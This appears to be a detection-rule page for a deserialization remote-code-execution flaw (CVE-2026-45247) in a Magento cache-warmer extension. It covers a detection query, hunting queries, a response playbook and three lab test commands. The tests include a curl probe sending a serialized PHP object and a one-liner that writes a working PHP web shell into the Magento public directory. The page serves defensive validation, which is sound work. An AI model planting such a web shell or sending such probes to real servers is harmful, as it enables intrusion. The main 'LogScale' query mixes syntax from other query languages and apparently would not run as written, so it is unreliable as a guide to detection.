Detect Mirasvit Full Page Cache Warmer Deserialization RCE (CVE-2026-45247) in CrowdStrike LogScale
Detects exploitation of CVE-2026-45247, a deserialization of untrusted data vulnerability in the Mirasvit Full Page Cache Warmer Magento extension. Successful exploitation allows remote attackers to execute arbitrary code by sending crafted serialized PHP objects to vulnerable endpoints. This CVE is listed in CISA KEV, indicating active exploitation in the wild.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
LogScale Detection Query
#event_simpleName=NetworkReceiveAccept OR #event_simpleName=HttpRequest
| CommandLine = /cache-warmer|cachewarmer|mirasvit.*warmer/i
OR RequestUrl = /cache-warmer|cachewarmer|mirasvit.*warmer/i
| HttpMethod IN ["POST", "PUT"]
| eval suspicious = case(
match(RequestBody, "O:[0-9]+:") OR match(RequestBody, "rO0") OR match(RequestBody, "YTo"), "serialized_payload",
BytesSent > 5000, "large_payload",
true(), "standard"
)
| where suspicious != "standard"
| groupby([RemoteAddressIP4, ComputerName, RequestUrl, HttpMethod, suspicious], function=count(aid, as=request_count))
| sort(request_count, order=desc)
| search request_count >= 1 CrowdStrike Falcon query detecting HTTP POST/PUT requests to Mirasvit cache warmer paths on monitored endpoints, filtered for PHP serialization markers or anomalously large payloads indicative of CVE-2026-45247 exploitation.
Data Sources
Required Tables
False Positives & Tuning
- Authorized cache warming automation running on Magento servers
- Internal Magento queue workers sending POST requests to warm cache entries
- Red team or penetration testing activity against Magento environments
- Third-party Magento plugins that proxy requests through cache warmer endpoints
Other platforms for CVE-2026-45247
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Deserialization Probe to Cache Warmer Endpoint
Expected signal: POST request to /mirasvit/cachewarmer/collect visible in web access logs with payload containing 'O:8:' serialization marker; HTTP response code logged
- Test 2PHP Deserialization Gadget Chain Simulation (Lab)
Expected signal: PHP CLI process spawned with command-line containing unserialize() — visible in auditd execve records or CrowdStrike process telemetry
- Test 3Web Shell Drop Simulation Following Deserialization RCE
Expected signal: File creation event in /var/www/html/pub/ for a .php file by the web server user (www-data or nginx); auditd CREATE record or Falcon sensor file event
Response Playbook
Triage
- Identify the source IP(s) sending POST/PUT requests to cache warmer endpoints and cross-reference with known good IPs (internal crawlers, CDN egress ranges, authorized scanners)
- Examine the full HTTP request body if available — look for PHP serialized object markers (O:, C:, rO0ABJ) or base64-encoded blobs that could encapsulate serialized payloads
- Check web server and PHP error logs on the Magento host for deserialization errors, fatal exceptions, or unexpected object instantiation messages coinciding with the suspicious request timestamps
- Determine the installed version of Mirasvit Full Page Cache Warmer and compare against any vendor-published patched versions from the changelog reference
- Review Magento's var/log/system.log and var/log/debug.log for anomalous PHP class instantiation or file write operations following the suspicious requests
Containment
- Immediately block the offending source IP(s) at the WAF, load balancer, or perimeter firewall and enable rate limiting on all cache warmer URL paths for non-internal sources
- If exploitation is confirmed, take the affected Magento application offline or into maintenance mode to prevent further abuse while patching; notify stakeholders of the service impact
- Revoke and rotate any Magento admin credentials, API tokens, or integration keys that may have been accessible from the compromised web context
Evidence Collection
- Capture and preserve the full HTTP request (headers, body, and response) from the exploit attempt — export from WAF, IDS, or web server access and error logs with timestamps intact
- On the Magento host, acquire a memory snapshot if possible, and collect /tmp, /var/www (or Magento root), PHP session files, and any newly created or modified files within the past 24 hours using find with -newer flag against a reference file
Escalation Criteria
- !Escalate immediately if any web shell, unexpected PHP file, or new cron entry is discovered on the Magento host following the suspicious requests — this indicates successful code execution
- !Escalate if outbound connections from the Magento server to external IPs are observed after the exploit attempt, indicating potential C2 channel establishment or data exfiltration
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server access logs showing POST/PUT to /cache-warmer or Mirasvit module paths with large bodies or serialization markers - >
PHP error logs in var/log/ with unserialize() exceptions or class-not-found errors referencing unexpected namespaces - >
Newly created or modified PHP files in the Magento root, pub/, or var/ directories (use find /var/www -name '*.php' -newer /var/www/index.php) - >
Unexpected outbound network connections from the PHP-FPM or web server process visible in netstat or ss output - >
Bash history or auditd logs showing PHP CLI invocations with eval, base64_decode, or shell execution functions from the web server user account
Tuning Guidance
Reduce false positives by first building a baseline of known legitimate cache warmer traffic — identify authorized internal crawler IPs, CDN origin IPs, and scheduled cron job source addresses, then add them to an allowlist exclusion in the query. Increase confidence by adding correlation with PHP process spawn events or file system write events on the Magento host following the HTTP request. If the organization has patched or does not use Mirasvit Full Page Cache Warmer, this detection can be retired or scoped to asset inventory for the affected product only.
Hunting Queries
Broad hunt for any elevated access patterns to Mirasvit cache warmer endpoints over the past 7 days, surfacing IP addresses or hosts with unusual request volumes that may indicate reconnaissance or ongoing exploitation attempts
W3CIISLog
| where TimeGenerated >= ago(7d)
| where csUriStem has_any ('/cache-warmer/', '/mirasvit/', '/cachewarmer/')
| summarize RequestCount = count(), UniqueIPs = dcount(csClientIP), Methods = make_set(csMethod), Statuses = make_set(scStatus) by csHost, csUriStem, bin(TimeGenerated, 1h)
| where RequestCount > 5 or UniqueIPs > 3
| order by RequestCount desc index=web sourcetype IN (iis, apache_access, nginx_access)
(uri_path="*/cache-warmer*" OR uri_path="*/cachewarmer*" OR uri_path="*/mirasvit*")
| timechart span=1h count by src_ip
| where count > 5 Atomic Red Team Tests
Sends a POST request with a PHP serialized object payload to the Mirasvit cache warmer endpoint to simulate an initial exploitation probe and generate web log telemetry.
Command
curl -s -X POST 'http://TARGET_MAGENTO_HOST/mirasvit/cachewarmer/collect' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0' --data 'data=O:8:"stdClass":1:{s:4:"test";s:4:"data";}' -o /dev/null -w '%{http_code}' Cleanup
No cleanup required — this is a network-only probe that generates log entries only Expected Telemetry
POST request to /mirasvit/cachewarmer/collect visible in web access logs with payload containing 'O:8:' serialization marker; HTTP response code logged
Expected Detection
SPL and KQL queries should fire on the URI path match combined with the serialized object pattern in the request body or query string
Executes a local PHP script that mimics the server-side deserialization of a malicious payload, verifying that PHP process telemetry is generated for detection rule validation.
Command
php -r '$payload = "O:8:\"stdClass\":1:{s:4:\"exec\";s:2:\"id\"}"; $obj = @unserialize($payload); echo "Deserialization attempted";' Cleanup
No files created; lab environment only Expected Telemetry
PHP CLI process spawned with command-line containing unserialize() — visible in auditd execve records or CrowdStrike process telemetry
Expected Detection
Elastic EQL sequence rule correlates HTTP request event with subsequent PHP process execution containing eval or exec patterns
Simulates the post-exploitation step of a successful deserialization attack by writing a PHP web shell to the Magento pub/ directory, testing file integrity monitoring and detection coverage for persistence.
Command
echo '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' > /var/www/html/pub/health_check_tmp.php && echo 'Web shell written to pub/ - verify detection fired' && sleep 5 && rm -f /var/www/html/pub/health_check_tmp.php Cleanup
rm -f /var/www/html/pub/health_check_tmp.php Expected Telemetry
File creation event in /var/www/html/pub/ for a .php file by the web server user (www-data or nginx); auditd CREATE record or Falcon sensor file event
Expected Detection
File integrity monitoring alert for new PHP file in Magento public directory; CrowdStrike CQL or Elastic EQL rules for web shell creation patterns should trigger